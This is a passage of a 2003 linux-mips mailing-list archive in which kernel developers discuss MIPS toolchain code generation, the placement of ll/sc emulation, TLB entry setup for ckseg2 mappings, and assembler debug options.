	boundary="----_=_NextPart_001_01C3053E.A7230FF0"
Return-Path: <DennisCastleman@oaktech.com>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2105
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: DennisCastleman@oaktech.com
Precedence: bulk
X-list: linux-mips

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C3053E.A7230FF0
Content-Type: text/plain

Thanks Ralf

Looks like I made the correct call when I picked MIPS32 Kernel.
Look like some of my preformance issues are in Montavistas 2.95.3 toolchain,
it's generating code that looks like this

0000000000000000 <bitBufferCreate>:
   0: 27bdffe0  addiu $sp,$sp,-32
   4: afbf001c  sw  $ra,28($sp)
   8: afb20018  sw  $s2,24($sp)
   c: afb10014  sw  $s1,20($sp)
  10: afb00010  sw  $s0,16($sp)
  14: 00809021  move  $s2,$a0
  18: 00a08021  move  $s0,$a1
  1c: 00c08821  move  $s1,$a2
  20: 24040001  li  $a0,1
  24: 24050010  li  $a1,16
  28: 3c020000  lui $v0,0x0
  2c: 24420000  addiu $v0,$v0,0

but if I use the 2.95.3 toolchain I build myself it's
generating code that looks like this.

0000000000000000 <bitBufferCreate>:
   0: 27bdffe0  addiu $sp,$sp,-32
   4: afb20018  sw  $s2,24($sp)
   8: 00809021  move  $s2,$a0
   c: afb00010  sw  $s0,16($sp)
  10: 00a08021  move  $s0,$a1
  14: afb10014  sw  $s1,20($sp)
  18: 00c08821  move  $s1,$a2
  1c: 24040001  li  $a0,1
  20: 24050010  li  $a1,16
  24: 3c020000  lui $v0,0x0
  28: 24420000  addiu $v0,$v0,0


Any idea whats up MV tool-chain.


Dennis 


-----Original Message-----
From: Ralf Baechle [mailto:ralf@linux-mips.org]
Sent: Thursday, April 17, 2003 5:04 PM
To: Dennis Castleman
Cc: linux-mips@linux-mips.org
Subject: Re: your mail


On Thu, Apr 17, 2003 at 10:53:57AM -0700, Dennis Castleman wrote:

> Anybody know the performance differences I can expect using a MIPS 5K core
> @250 Mhz in 64bit mode versus 32bit mode?

As a rule of thumb - less performance.  64-bit code is typically larger
resulting in lower cache hit rate.  And since performance optimization
these days is essentially equivalent to maximising the cache hit rate
going 64-bit usually means a performance drop due to the drastically
larger size of code and data.

On the positive side for 64-bit stuff there's the possibility to do
64-bit computations with just one instruction, move data with less
instructions, use twice as many double precission fp registers that are
offered by 64-bit ABIs and more calling sequences.

The first two paragraphs were sort of a generic statement regarding
32-bit vs. 64-bit software on MIPS processors and affect both kernel and
userspace.  There's a few additional issues with the Linux kernel.
The 32-bit kernels requires all memory to be addressable through KSEG0
which limits it to at most 512MB; typically the limit is more like 256MB.
Memory above 512MB physical address can only be used as highmem.  That's
fairly inefficient and requires alot of special care when writing new
kernel software.  For processors that suffer from virtual aliases in
their data cache highmem currently is frighteningly inefficient - and
high memory pressure on lowmem doesn't help either.  So from a certain
point on that's simply making a 64-bit kernel is simply the better
idea - even for running 32-bit software.  That in particular applies
to very I/O intensive stuff.

In short - the right choice is a tradeoff between the hardware platform
and the application's requirements.  Choose wrong and you'll curse
loudly :-)

  Ralf

------_=_NextPart_001_01C3053E.A7230FF0
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=us-ascii">
<META NAME="Generator" CONTENT="MS Exchange Server version 5.5.2653.12">
<TITLE>RE: your mail</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=2>Thanks Ralf</FONT>
</P>

<P><FONT SIZE=2>Looks like I made the correct call when I picked MIPS32 Kernel.</FONT>
<BR><FONT SIZE=2>Look like some of my preformance issues are in Montavistas 2.95.3 toolchain,</FONT>
<BR><FONT SIZE=2>it's generating code that looks like this</FONT>
</P>

<P><FONT SIZE=2>0000000000000000 &lt;bitBufferCreate&gt;:</FONT>
<BR><FONT SIZE=2>&nbsp;&nbsp; 0: 27bdffe0&nbsp; addiu $sp,$sp,-32</FONT>
<BR><FONT SIZE=2>&nbsp;&nbsp; 4: afbf001c&nbsp; sw&nbsp; $ra,28($sp)</FONT>
<BR><FONT SIZE=2>&nbsp;&nbsp; 8: afb20018&nbsp; sw&nbsp; $s2,24($sp)</FONT>
<BR><FONT SIZE=2>&nbsp;&nbsp; c: afb10014&nbsp; sw&nbsp; $s1,20($sp)</FONT>
<BR><FONT SIZE=2>&nbsp; 10: afb00010&nbsp; sw&nbsp; $s0,16($sp)</FONT>
<BR><FONT SIZE=2>&nbsp; 14: 00809021&nbsp; move&nbsp; $s2,$a0</FONT>
<BR><FONT SIZE=2>&nbsp; 18: 00a08021&nbsp; move&nbsp; $s0,$a1</FONT>
<BR><FONT SIZE=2>&nbsp; 1c: 00c08821&nbsp; move&nbsp; $s1,$a2</FONT>
<BR><FONT SIZE=2>&nbsp; 20: 24040001&nbsp; li&nbsp; $a0,1</FONT>
<BR><FONT SIZE=2>&nbsp; 24: 24050010&nbsp; li&nbsp; $a1,16</FONT>
<BR><FONT SIZE=2>&nbsp; 28: 3c020000&nbsp; lui $v0,0x0</FONT>
<BR><FONT SIZE=2>&nbsp; 2c: 24420000&nbsp; addiu $v0,$v0,0</FONT>
</P>

<P><FONT SIZE=2>but if I use the 2.95.3 toolchain I build myself it's</FONT>
<BR><FONT SIZE=2>generating code that looks like this.</FONT>
</P>

<P><FONT SIZE=2>0000000000000000 &lt;bitBufferCreate&gt;:</FONT>
<BR><FONT SIZE=2>&nbsp;&nbsp; 0: 27bdffe0&nbsp; addiu $sp,$sp,-32</FONT>
<BR><FONT SIZE=2>&nbsp;&nbsp; 4: afb20018&nbsp; sw&nbsp; $s2,24($sp)</FONT>
<BR><FONT SIZE=2>&nbsp;&nbsp; 8: 00809021&nbsp; move&nbsp; $s2,$a0</FONT>
<BR><FONT SIZE=2>&nbsp;&nbsp; c: afb00010&nbsp; sw&nbsp; $s0,16($sp)</FONT>
<BR><FONT SIZE=2>&nbsp; 10: 00a08021&nbsp; move&nbsp; $s0,$a1</FONT>
<BR><FONT SIZE=2>&nbsp; 14: afb10014&nbsp; sw&nbsp; $s1,20($sp)</FONT>
<BR><FONT SIZE=2>&nbsp; 18: 00c08821&nbsp; move&nbsp; $s1,$a2</FONT>
<BR><FONT SIZE=2>&nbsp; 1c: 24040001&nbsp; li&nbsp; $a0,1</FONT>
<BR><FONT SIZE=2>&nbsp; 20: 24050010&nbsp; li&nbsp; $a1,16</FONT>
<BR><FONT SIZE=2>&nbsp; 24: 3c020000&nbsp; lui $v0,0x0</FONT>
<BR><FONT SIZE=2>&nbsp; 28: 24420000&nbsp; addiu $v0,$v0,0</FONT>
</P>
<BR>

<P><FONT SIZE=2>Any idea whats up MV tool-chain.</FONT>
</P>
<BR>

<P><FONT SIZE=2>Dennis </FONT>
</P>
<BR>

<P><FONT SIZE=2>-----Original Message-----</FONT>
<BR><FONT SIZE=2>From: Ralf Baechle [<A HREF="mailto:ralf@linux-mips.org">mailto:ralf@linux-mips.org</A>]</FONT>
<BR><FONT SIZE=2>Sent: Thursday, April 17, 2003 5:04 PM</FONT>
<BR><FONT SIZE=2>To: Dennis Castleman</FONT>
<BR><FONT SIZE=2>Cc: linux-mips@linux-mips.org</FONT>
<BR><FONT SIZE=2>Subject: Re: your mail</FONT>
</P>
<BR>

<P><FONT SIZE=2>On Thu, Apr 17, 2003 at 10:53:57AM -0700, Dennis Castleman wrote:</FONT>
</P>

<P><FONT SIZE=2>&gt; Anybody know the performance differences I can expect using a MIPS 5K core</FONT>
<BR><FONT SIZE=2>&gt; @250 Mhz in 64bit mode versus 32bit mode?</FONT>
</P>

<P><FONT SIZE=2>As a rule of thumb - less performance.&nbsp; 64-bit code is typically larger</FONT>
<BR><FONT SIZE=2>resulting in lower cache hit rate.&nbsp; And since performance optimization</FONT>
<BR><FONT SIZE=2>these days is essentially equivalent to maximising the cache hit rate</FONT>
<BR><FONT SIZE=2>going 64-bit usually means a performance drop due to the drastically</FONT>
<BR><FONT SIZE=2>larger size of code and data.</FONT>
</P>

<P><FONT SIZE=2>On the positive side for 64-bit stuff there's the possibility to do</FONT>
<BR><FONT SIZE=2>64-bit computations with just one instruction, move data with less</FONT>
<BR><FONT SIZE=2>instructions, use twice as many double precission fp registers that are</FONT>
<BR><FONT SIZE=2>offered by 64-bit ABIs and more calling sequences.</FONT>
</P>

<P><FONT SIZE=2>The first two paragraphs were sort of a generic statement regarding</FONT>
<BR><FONT SIZE=2>32-bit vs. 64-bit software on MIPS processors and affect both kernel and</FONT>
<BR><FONT SIZE=2>userspace.&nbsp; There's a few additional issues with the Linux kernel.</FONT>
<BR><FONT SIZE=2>The 32-bit kernels requires all memory to be addressable through KSEG0</FONT>
<BR><FONT SIZE=2>which limits it to at most 512MB; typically the limit is more like 256MB.</FONT>
<BR><FONT SIZE=2>Memory above 512MB physical address can only be used as highmem.&nbsp; That's</FONT>
<BR><FONT SIZE=2>fairly inefficient and requires alot of special care when writing new</FONT>
<BR><FONT SIZE=2>kernel software.&nbsp; For processors that suffer from virtual aliases in</FONT>
<BR><FONT SIZE=2>their data cache highmem currently is frighteningly inefficient - and</FONT>
<BR><FONT SIZE=2>high memory pressure on lowmem doesn't help either.&nbsp; So from a certain</FONT>
<BR><FONT SIZE=2>point on that's simply making a 64-bit kernel is simply the better</FONT>
<BR><FONT SIZE=2>idea - even for running 32-bit software.&nbsp; That in particular applies</FONT>
<BR><FONT SIZE=2>to very I/O intensive stuff.</FONT>
</P>

<P><FONT SIZE=2>In short - the right choice is a tradeoff between the hardware platform</FONT>
<BR><FONT SIZE=2>and the application's requirements.&nbsp; Choose wrong and you'll curse</FONT>
<BR><FONT SIZE=2>loudly :-)</FONT>
</P>

<P><FONT SIZE=2>&nbsp; Ralf</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C3053E.A7230FF0--

From yuasa@hh.iij4u.or.jp Fri Apr 18 10:17:53 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Fri, 18 Apr 2003 10:17:54 +0100 (BST)
Received: from mo03.iij4u.or.jp ([IPv6:::ffff:210.130.0.20]:19682 "EHLO
	mo03.iij4u.or.jp") by linux-mips.org with ESMTP id <S8225072AbTDRJRx>;
	Fri, 18 Apr 2003 10:17:53 +0100
Received: from mdo00.iij4u.or.jp (mdo00.iij4u.or.jp [210.130.0.170])
	by mo03.iij4u.or.jp (8.8.8/MFO1.5) with ESMTP id SAA16670;
	Fri, 18 Apr 2003 18:17:48 +0900 (JST)
Received: 4UMDO00 id h3I9Hmp11547; Fri, 18 Apr 2003 18:17:48 +0900 (JST)
Received: 4UMRO00 id h3I9Hl210520; Fri, 18 Apr 2003 18:17:48 +0900 (JST)
	from pudding.montavista.co.jp (localhost [127.0.0.1]) (authenticated)
Date: Fri, 18 Apr 2003 18:17:48 +0900
From: Yoichi Yuasa <yuasa@hh.iij4u.or.jp>
To: ralf@linux-mips.org
Cc: yuasa@hh.iij4u.or.jp, linux-mips@linux-mips.org
Subject: simulate_ll and simulate_sc move to do_cpu from do_ri
Message-Id: <20030418181748.57f7789a.yuasa@hh.iij4u.or.jp>
X-Mailer: Sylpheed version 0.8.11 (GTK+ 1.2.10; i686-pc-linux-gnu)
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Return-Path: <yuasa@hh.iij4u.or.jp>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2106
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: yuasa@hh.iij4u.or.jp
Precedence: bulk
X-list: linux-mips

Hi Ralf,

Why did you move simulate_ll and simulate_sc to do_cpu from do_ri?
NEC VR4100 series need simulate_ll and simulate_sc in do_ri.

Yoichi

From ralf@linux-mips.net Fri Apr 18 19:46:01 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Fri, 18 Apr 2003 19:46:02 +0100 (BST)
Received: from p508B4F51.dip.t-dialin.net ([IPv6:::ffff:80.139.79.81]:29397
	"EHLO dea.linux-mips.net") by linux-mips.org with ESMTP
	id <S8225072AbTDRSqB>; Fri, 18 Apr 2003 19:46:01 +0100
Received: (from ralf@localhost)
	by dea.linux-mips.net (8.11.6/8.11.6) id h3IIjse05090;
	Fri, 18 Apr 2003 20:45:54 +0200
Date: Fri, 18 Apr 2003 20:45:53 +0200
From: Ralf Baechle <ralf@linux-mips.org>
To: Yoichi Yuasa <yuasa@hh.iij4u.or.jp>
Cc: linux-mips@linux-mips.org
Subject: Re: simulate_ll and simulate_sc move to do_cpu from do_ri
Message-ID: <20030418204553.A29634@linux-mips.org>
References: <20030418181748.57f7789a.yuasa@hh.iij4u.or.jp>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20030418181748.57f7789a.yuasa@hh.iij4u.or.jp>; from yuasa@hh.iij4u.or.jp on Fri, Apr 18, 2003 at 06:17:48PM +0900
Return-Path: <ralf@linux-mips.net>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2107
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: ralf@linux-mips.org
Precedence: bulk
X-list: linux-mips

On Fri, Apr 18, 2003 at 06:17:48PM +0900, Yoichi Yuasa wrote:

> Why did you move simulate_ll and simulate_sc to do_cpu from do_ri?
> NEC VR4100 series need simulate_ll and simulate_sc in do_ri.

As the CVS comment said ll is using the opcode for lwc0 and sc the opcode
for swc0 so the expected behaviour of an attempt to execute ll or sc on a
ll/sc-less processor is throwing a coprocessor unusable exception, not
reserved exception.

So if the VR4100 series is indeed throwing RI exceptions then this processor
is plain broken.  Will fix but not without cursing into NEC's direction.

Grr...

  Ralf

From erik@greendragon.org Sat Apr 19 06:32:59 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Sat, 19 Apr 2003 06:33:05 +0100 (BST)
Received: from kauket.visi.com ([IPv6:::ffff:209.98.98.22]:19861 "HELO
	mail-out.visi.com") by linux-mips.org with SMTP id <S8225072AbTDSFc7>;
	Sat, 19 Apr 2003 06:32:59 +0100
Received: from mahes.visi.com (mahes.visi.com [209.98.98.96])
	by mail-out.visi.com (Postfix) with ESMTP id 646E036CC
	for <linux-mips@linux-mips.org>; Sat, 19 Apr 2003 00:32:56 -0500 (CDT)
Received: from mahes.visi.com (localhost [127.0.0.1])
	by mahes.visi.com (8.12.9/8.12.5) with ESMTP id h3J5Wu9R012042
	for <linux-mips@linux-mips.org>; Sat, 19 Apr 2003 00:32:56 -0500 (CDT)
	(envelope-from erik@greendragon.org)
Received: (from www@localhost)
	by mahes.visi.com (8.12.9/8.12.5/Submit) id h3J5Wopv012041
	for linux-mips@linux-mips.org; Sat, 19 Apr 2003 05:32:50 GMT
X-Authentication-Warning: mahes.visi.com: www set sender to erik@greendragon.org using -f
Received: from 170-215-41-223.bras01.mnd.mn.frontiernet.net (170-215-41-223.bras01.mnd.mn.frontiernet.net [170.215.41.223]) 
	by my.visi.com (IMP) with HTTP 
	for <longshot@imap.visi.com>; Sat, 19 Apr 2003 05:32:50 +0000
Message-ID: <1050730370.3ea0df8263a21@my.visi.com>
Date: Sat, 19 Apr 2003 05:32:50 +0000
From: "Erik J. Green" <erik@greendragon.org>
To: linux-mips@linux-mips.org
Subject: TLB mapping questions
MIME-Version: 1.0
Content-Type: text/plain
Content-Disposition: inline
Content-Transfer-Encoding: 7bit
User-Agent: Internet Messaging Program (IMP) 4.0-cvs
X-Originating-IP: 170.215.41.223
Return-Path: <erik@greendragon.org>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2108
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: erik@greendragon.org
Precedence: bulk
X-list: linux-mips

Hello again, I have more newbie questions for you all.


I *think* I understand how the TLB translates addresses for ckseg2 in mips64. 
Can someone tell me if my understanding is correct?  

Given: Physical memory starts at 0x0000000020004000;

Therefore, an offset 0x2000 from the start of physical memory should be at 

0x0000000020006000, or 0xa000000020006000 as a 64 bit xkphys address.

So if I construct a TLB entry such that cp0_entryhi is 0xffffffffc0002000, and
cp0_entrylo0 has a PFN address of 0x0000000020006, giving it the correct ASID
(0) and valid bitflags(VG), I should be able to access the physical memory
offset above using the ckseg2 virtual address 0xffffffffc0002000?  

Again, if I understand this, the physical address to be referenced will be
constructed from the low order 12 bits of the ckseg2 address (in this case 000)
and the pfn address stored in the TLB entry giving 0x0000000020006000, which is
the physical RAM address.  This is provided that I've constructed the TLB entry
correctly so that it's matched for the address reference given.

Of course, the reason I discuss all this is that the above doesn't work. =)  



Erik 


-- 
Erik J. Green
erik@greendragon.org

From ralf@linux-mips.net Sat Apr 19 15:49:02 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Sat, 19 Apr 2003 15:49:04 +0100 (BST)
Received: from p508B5403.dip.t-dialin.net ([IPv6:::ffff:80.139.84.3]:38630
	"EHLO dea.linux-mips.net") by linux-mips.org with ESMTP
	id <S8225192AbTDSOtC>; Sat, 19 Apr 2003 15:49:02 +0100
Received: (from ralf@localhost)
	by dea.linux-mips.net (8.11.6/8.11.6) id h3JEmsL16668;
	Sat, 19 Apr 2003 16:48:54 +0200
Date: Sat, 19 Apr 2003 16:48:54 +0200
From: Ralf Baechle <ralf@linux-mips.org>
To: "Erik J. Green" <erik@greendragon.org>
Cc: linux-mips@linux-mips.org
Subject: Re: TLB mapping questions
Message-ID: <20030419164854.A15699@linux-mips.org>
References: <1050730370.3ea0df8263a21@my.visi.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <1050730370.3ea0df8263a21@my.visi.com>; from erik@greendragon.org on Sat, Apr 19, 2003 at 05:32:50AM +0000
Return-Path: <ralf@linux-mips.net>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2109
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: ralf@linux-mips.org
Precedence: bulk
X-list: linux-mips

On Sat, Apr 19, 2003 at 05:32:50AM +0000, Erik J. Green wrote:

> I *think* I understand how the TLB translates addresses for ckseg2 in mips64. 
> Can someone tell me if my understanding is correct?  
> 
> Given: Physical memory starts at 0x0000000020004000;
> 
> Therefore, an offset 0x2000 from the start of physical memory should be at 
> 
> 0x0000000020006000, or 0xa000000020006000 as a 64 bit xkphys address.
> 
> So if I construct a TLB entry such that cp0_entryhi is 0xffffffffc0002000, and
> cp0_entrylo0 has a PFN address of 0x0000000020006, giving it the correct ASID
> (0) and valid bitflags(VG), I should be able to access the physical memory
> offset above using the ckseg2 virtual address 0xffffffffc0002000?  

You also want to set the dirty flag or otherwise the page is not writable.

Which page size have you been using?

The physical address must be a multiple of the page size of the page and
the virtual address must be a multiple of the double of the page size of
entry - remember that each TLB entry maps a pair of adjacent pages!

The entrylo value is computed by shifting the physical address right by
6 bits then inserting the right flag bits into the low 6 bits.  In your
case you want to set the valid, dirty and global bits.  You also need to
set the 3 coherency bits.  We want cachable coherent, the same mode as
used in the 0xa8... portion of XKPHYS.  So we set them to 5.  So:

 c0_entrylo0 = (phyaddr >> 6) | cacheable_coherent | dirty | valid | global

 c0_entrylo0 = 0x800180 | 0x28 | 0x4 | 0x2 | 0x1

 c0_entrylo0 = 0x8001af

An extra word about the global bit - there exists only one global bit in
the TLB entry though both c0_entrylo0 and c0_entrylo1 have a global bit.
The way this works is that the global bit of the TLB entry is written
as tlb[entry].g = (c0_entrylo0.g & c0_entrylo1.g) when writing an entry
and when read is copied into both entrylo global bits.  In other words
writing a TLB entry with only one of the G bits in the entrylo register
pair set will result in a TLB entry with the G bit cleared.

For your example this means:

  c0_entryhi   = 0xc0000000:00002000
  c0_entrylo0  = 0x00000000:008001af
  c0_entrylo1  = 0x00000000:00000001
  c0_pagemask  = 0x00000000				# 4kB pages
  c0_framemask = 0x00000000
  c0_index     = 0x00000000
  c0_wired     = 0x00000001
  tlbwi

would generated the mapping and make sure the entry won't be overwritten
by random TLB writes.

> Of course, the reason I discuss all this is that the above doesn't work. =)  

Every Linux port has started in a state as advanced as where you are so
keep up :-)

  Ralf

From mike.connors@ghs.com Sun Apr 20 01:21:50 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Sun, 20 Apr 2003 01:21:51 +0100 (BST)
Received: from eta.ghs.com ([IPv6:::ffff:63.102.70.66]:8931 "EHLO eta.ghs.com")
	by linux-mips.org with ESMTP id <S8225192AbTDTAVu>;
	Sun, 20 Apr 2003 01:21:50 +0100
Received: from blaze.ghs.com (blaze.ghs.com [192.67.158.233])
	by eta.ghs.com (8.12.8/8.12.8) with ESMTP id h3K0LhMD000943
	for <linux-mips@linux-mips.org>; Sat, 19 Apr 2003 17:21:43 -0700 (PDT)
Received: from NOMAD (nomad.ghs.com [192.168.112.124])
	by blaze.ghs.com (8.10.2+Sun/8.10.2+Sun) with ESMTP id h3K0LgW05412
	for <linux-mips@linux-mips.org>; Sat, 19 Apr 2003 17:21:42 -0700 (PDT)
From: "Mike Connors" <mike.connors@ghs.com>
To: <linux-mips@linux-mips.org>
Subject: assembly debug question
Date: Sat, 19 Apr 2003 17:20:27 -0700
Organization: Green Hills Software
Message-ID: <001d01c306d2$a55fbe80$7c70a8c0@NOMAD>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.2627
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106
Importance: Normal
Return-Path: <mike.connors@ghs.com>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2110
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: mike.connors@ghs.com
Precedence: bulk
X-list: linux-mips

Hi All, 

I'm using gcc v2.96 to compile a MIPS targeted Linux kernel 
and am finding it difficult to produce debug information 
for assembly files. 

I've discovered that a typical compile line for assembly 
in the kernel gets its parameters from AFLAGS and results 
in the following commandline: 

mipsel-linux-gcc -D__ASSEMBLY__ -D__KERNEL__ -I/l/include \
	-G 0 -mno-abicalls -fno-pic -mcpu=r4600 -mips2 \
	-Wa,--trap -pipe -c entry.S -o entry.o 

According to the documentation, some targets support 
dwarf debug information using --gdwarf2.  Does anyone 
know if the MIPS target is supported in version? 

Also, --gstabs doesn't seem to work either.  Nor does 
-gdwarf-2, -gdwarf -g2, -gstabs+, -gdwarf+, etc. 

Has anyone had luck producing debug information for 
assembly files with this version of gcc? 

./mipsel-linux-gcc --version 
2.96 
./mipsel-linux-as --version 
GNU assembler 2.11.92.0.10 

Thanks in advance, 
Mike 

--- 
Mike Connors			Green Hills Software, San Clemente 
Field Applications Engineer	131 Avenida Victoria 
mailto:mike.connors@ghs.com	San Clemente, CA  92672 
phone: 1-949-369-3950		
cell:  1-949-412-3951		fax: 1-949-369-3959 


From erik@greendragon.org Sun Apr 20 03:30:42 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Sun, 20 Apr 2003 03:30:43 +0100 (BST)
Received: from kauket.visi.com ([IPv6:::ffff:209.98.98.22]:17314 "HELO
	mail-out.visi.com") by linux-mips.org with SMTP id <S8225226AbTDTCam>;
	Sun, 20 Apr 2003 03:30:42 +0100
Received: from mahes.visi.com (mahes.visi.com [209.98.98.96])
	by mail-out.visi.com (Postfix) with ESMTP
	id 083EF36CC; Sat, 19 Apr 2003 21:30:40 -0500 (CDT)
Received: from mahes.visi.com (localhost [127.0.0.1])
	by mahes.visi.com (8.12.9/8.12.5) with ESMTP id h3K2Ud9R020654;
	Sat, 19 Apr 2003 21:30:39 -0500 (CDT)
	(envelope-from erik@greendragon.org)
Received: (from www@localhost)
	by mahes.visi.com (8.12.9/8.12.5/Submit) id h3K2UQNh020653;
	Sun, 20 Apr 2003 02:30:26 GMT
X-Authentication-Warning: mahes.visi.com: www set sender to erik@greendragon.org using -f
Received: from 170-215-41-223.bras01.mnd.mn.frontiernet.net (170-215-41-223.bras01.mnd.mn.frontiernet.net [170.215.41.223]) 
	by my.visi.com (IMP) with HTTP 
	for <longshot@imap.visi.com>; Sun, 20 Apr 2003 02:30:26 +0000
Message-ID: <1050805826.3ea2064281289@my.visi.com>
Date: Sun, 20 Apr 2003 02:30:26 +0000
From: "Erik J. Green" <erik@greendragon.org>
To: Ralf Baechle <ralf@linux-mips.org>
Cc: linux-mips@linux-mips.org
Subject: Re: TLB mapping questions
References: <1050730370.3ea0df8263a21@my.visi.com> <20030419164854.A15699@linux-mips.org>
In-Reply-To: <20030419164854.A15699@linux-mips.org>
MIME-Version: 1.0
Content-Type: text/plain
Content-Disposition: inline
Content-Transfer-Encoding: 7bit
User-Agent: Internet Messaging Program (IMP) 4.0-cvs
X-Originating-IP: 170.215.41.223
Return-Path: <erik@greendragon.org>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2111
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: erik@greendragon.org
Precedence: bulk
X-list: linux-mips

Quoting Ralf Baechle <ralf@linux-mips.org>:TLB_SE
> > So if I construct a TLB entry such that cp0_entryhi is 0xffffffffc0002000,
> and
> > cp0_entrylo0 has a PFN address of 0x0000000020006, giving it the correct
> ASID
> > (0) and valid bitflags(VG), I should be able to access the physical memory
> > offset above using the ckseg2 virtual address 0xffffffffc0002000?
> 
> You also want to set the dirty flag or otherwise the page is not writable.

That's ok for the first page, it's code only.  The second page mapped by the
entry is data, so I'll set the D bit on that.

> 
> Which page size have you been using?

16 megabyte

> 
> The physical address must be a multiple of the page size of the page and
> the virtual address must be a multiple of the double of the page size of
> entry - remember that each TLB entry maps a pair of adjacent pages!

This was my main problem - after I rounded my physical load address up to the
next 16M boundary: 0xa800000021000000 and adjusted the LOADADDRESS in my
makefile to point to the beginning of ckseg2 (the address of which is a multiple
of 32M) I am now able to jump into the ckseg2 code successfully.

> The entrylo value is computed by shifting the physical address right by
> 6 bits then inserting the right flag bits into the low 6 bits.  In your
> case you want to set the valid, dirty and global bits.  You also need to
> set the 3 coherency bits.  We want cachable coherent, the same mode as
> used in the 0xa8... portion of XKPHYS.  So we set them to 5.  So:
> 
>  c0_entrylo0 = (phyaddr >> 6) | cacheable_coherent | dirty | valid | global
> 
>  c0_entrylo0 = 0x800180 | 0x28 | 0x4 | 0x2 | 0x1
> 
>  c0_entrylo0 = 0x8001af

These are the very bits I'm using.  I'm actually using a modded version of the
MAPPED_KERNEL_SETUP_TLB macro in head.S.

> An extra word about the global bit - there exists only one global bit in

I made a note of this paragraph, will do some reading on it.

> would generated the mapping and make sure the entry won't be overwritten
> by random TLB writes.

Yes, CP0_WIRED is getting set to 1 to protect this entry.

> 
> > Of course, the reason I discuss all this is that the above doesn't work. =)
> 
> Every Linux port has started in a state as advanced as where you are so
> keep up :-)

I will do so =)  My next problem is getting the stack working.

Erik



> 
>   Ralf


-- 
Erik J. Green
erik@greendragon.org

From erik@greendragon.org Sun Apr 20 04:38:08 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Sun, 20 Apr 2003 04:38:11 +0100 (BST)
Received: from kauket.visi.com ([IPv6:::ffff:209.98.98.22]:60834 "HELO
	mail-out.visi.com") by linux-mips.org with SMTP id <S8225195AbTDTDiI>;
	Sun, 20 Apr 2003 04:38:08 +0100
Received: from mehen.visi.com (mehen.visi.com [209.98.98.97])
	by mail-out.visi.com (Postfix) with ESMTP id 93C8436CC
	for <linux-mips@linux-mips.org>; Sat, 19 Apr 2003 22:38:06 -0500 (CDT)
Received: from mehen.visi.com (localhost [127.0.0.1])
	by mehen.visi.com (8.12.9/8.12.5) with ESMTP id h3K3c66D080069
	for <linux-mips@linux-mips.org>; Sat, 19 Apr 2003 22:38:06 -0500 (CDT)
	(envelope-from erik@greendragon.org)
Received: (from www@localhost)
	by mehen.visi.com (8.12.9/8.12.5/Submit) id h3K3c5gt080068
	for linux-mips@linux-mips.org; Sun, 20 Apr 2003 03:38:05 GMT
X-Authentication-Warning: mehen.visi.com: www set sender to erik@greendragon.org using -f
Received: from 64-212-122-73.bras01.mnd.mn.frontiernet.net (64-212-122-73.bras01.mnd.mn.frontiernet.net [64.212.122.73]) 
